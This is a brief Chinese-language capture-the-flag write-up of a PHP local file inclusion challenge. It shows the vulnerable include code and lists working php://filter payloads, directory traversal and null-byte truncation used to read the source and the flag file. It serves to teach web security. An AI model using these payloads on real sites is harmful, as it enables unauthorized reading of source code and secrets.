考点:filter为协议嵌套:
进入页面发现两个按钮
按左边的会给狗的照片,按右边的会给猫咪的照片.并且url有变化
所以怀疑有文件读取漏洞,直接上php://filter/read=convert.base64-encode/resource=index.php
报错了.那就试试index
得到base64,去解码:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
直接去看php部分:
意思是只有包含woofers|meowers|index才能读取文件否则会报错,且这里是拼接了php的,如果flag不是php后缀可以使用00截断%00
这里先用woofers/../flag试试
通过源代码发现多了一句提示:说明包含了,但是没有显示这里就要用到新知识了:filter为协议嵌套:
fliter为协议后面是可以嵌套的如:
php://filter/read=convert.base64-encode/index/resource=flag
这就是最后的payload
最后得到flag的base64,直接去解码: